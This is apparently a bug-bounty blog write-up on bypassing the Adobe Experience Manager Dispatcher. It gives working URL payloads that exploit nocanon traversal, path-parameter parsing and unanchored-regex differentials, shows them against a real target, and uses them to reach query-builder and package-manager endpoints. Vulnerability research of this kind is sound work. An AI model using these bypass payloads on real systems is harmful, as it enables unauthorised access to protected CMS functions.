The Complete Guide to Adobe Experience Manager (AEM) Dispatcher Bypasses

I was normally scrolling through Twitter when I noticed a post from Shubham Shah (infosec_au). In this post, he demonstrated how the Adobe AEM Dispatcher could be bypassed.

The post mentioned a detailed research center link that provides deep technical insights into AEM bugs:

"Adobe Experience Manager is one of the most popular CMSes around. Given its widespread use throughout the enterprise, you likely interact with AEM-based sites almost every day."

After reading this, I began to see the key things mentioned in the blog and how they apply to modern bug hunting.

The core of AEM exposes plenty of endpoints that leak information about how the site is structured. Some of the most famous, such as /bin/querybuilder.json, allow queries of all the "nodes" (page content) of the application.

Obviously, as a website running AEM, you don’t want all this functionality intended for authors to be exposed to the general public. And indeed, if you visit /bin/querybuilder.json on a properly secured AEM site, you should be blocked.

Here’s a sample of the out-of-the-box (OOTB) dispatcher configuration for cloud AEM instances. It starts with everything blocked as a safeguard and opens only what customers need.

# deny everything and allow specific entries
/0001 { /type "deny"  /url "*" }

# This rule allows content to be access
/0010 { /type "allow" /extension '(css|eot|gif|ico|jpeg|jpg|js|gif|pdf|png|svg|swf|ttf|woff|woff2|html|mp4|mov|m4v)' /path "/content/*" }

# Enable specific mime types in non-public content directories
/0011 { /type "allow" /method "GET" /extension '(css|eot|gif|ico|jpeg|jpg|js|gif|png|svg|swf|ttf|woff|woff2)' }

# Enable clientlibs proxy servlet
/0012 { /type "allow" /method "GET" /url "/etc.clientlibs/*" }

Adobe offers two ways to implement the dispatcher: via an Apache configuration and module (disp_apache2.so) or an IIS module. We focus on Apache-based setups as they are vastly more popular.

Looking at the default Apache config, some paths forward requests directly to the AEM host via ProxyPassMatch, bypassing the dispatcher ruleset:

# Prevent rewrites and filtering of Delivery API URLs
<LocationMatch "^/adobe/dynamicmedia/deliver/.*">
    ProxyPassMatch http://${AEM_HOST}:${AEM_PORT}
    RewriteEngine Off
</LocationMatch>

# SITES-11040 Do ProxyPassMatch, if caching for GraphQL is not enabled
<LocationMatch "/graphql/execute.json/.*">
    ProxyPassMatch http://${AEM_HOST}:${AEM_PORT} nocanon
</LocationMatch>

Our first instinct was to use a traversal trick. The AEM host most commonly runs on Jetty, which historically allowed ..;/ as a stand-in for path traversal.

/adobe/dynamicmedia/deliver/..;/..;/..;/bin/querybuilder.json

The answer as it turns out is no – modern Jetty has a specific mitigation that blocks ..;/ sequences.

Looking at the next LocationMatch is more interesting. Unlike the other rule, this one uses nocanon.

Usually, Apache normalizes the URL before checking the match. But with nocanon, the proxy passes the raw, un-normalized URL. We tried:

/graphql/execute.json/..%2f../bin/querybuilder.json

And it worked! Apache matches the raw URL because it contains the regex /graphql/execute.json/.*. Then, on the backend, Jetty normalizes the URL to /bin/querybuilder.json before passing it to AEM.

To find more bypasses, we examine Apache Sling, the framework AEM uses. Sling parses URLs into components: Resource Path, Selectors, Extension, Path Parameters, and Suffix.

Consider the following URL: /bin/querybuilder.tiny.json;x='hello'/extra

• Resource Path: /bin/querybuilder
• Selectors: tiny
• Extension: json
• Path Parameter: ;x='hello'
• Suffix: /extra

The dispatcher implements its own separate parser. If there is a parsing differential between how the dispatcher views a URL and how Sling parses it, a bypass is possible.

By analyzing the Dispatcher's decompose_url function in Ghidra, we found that it does not consider path parameters! To the dispatcher, ; is just a normal character.

void decompose_url(char *uri,char **path,char **selectors,char **extension,char **suffix) {
  // ...
  if (pcVar2 != (char *)0x0) {
    *pcVar2 = '';
    *suffix = strdup(pcVar2);
  }
}

We can use this to hide our payload. For example:

/bin/querybuilder.json;x='a/b.css/c'

The dispatcher sees an extension of .css (which is whitelisted) and allows it. But Sling parses it as a call to /bin/querybuilder with a parameter.

The LocationMatch regex in Apache is often unanchored (missing ^ and $). This means the match can occur anywhere in the string.

/bin/querybuilder.json;x='x/graphql/execute.json/x'

This hybrid bypass works in many situations where a WAF might block ..%2f...

I use the Wappalyzer browser extension to detect which companies are using Adobe Experience Manager.

I was hunting on Bugcrowd and noticed a high-value target running AEM. I picked it and began exploring.

I sent an initial request to check for the query builder endpoint directly.

GET /graphql/execute.json/bin/querybuilder.json HTTP/2
Host: target.com
User-Agent: Mozilla/5.0 ...

Response returned: HTTP/2 404 Not Found. This did not work initially.

Then I tried the nocanon bypass with encoded traversal:

GET /graphql/execute.json/..%2f../bin/querybuilder.json HTTP/2

Response Returned:

{"success":true,"results":0,"total":0,"more":false,"offset":0,"hits":[]}

This was a highly positive result.

I Googled the Top 10 sensitive paths for AEM and found critical endpoints like:

• crx/packmgr/service.jsp
• apps.2.json
• crx/packmgr/service.jsp?cmd=ls&limit=10000

I tried to access the package manager. Direct access was blocked, but the bypass allowed it:

/graphql/execute.json/..%2F../crx/packmgr/service.jsp

Result: Allowed! I was able to see how the system commands work.

I executed the ls command to list all packages on the system:

/graphql/execute.json/..%2f../crx/packmgr/service.jsp?cmd=ls&limit=10000

This was enough to demonstrate critical impact to the bug bounty program.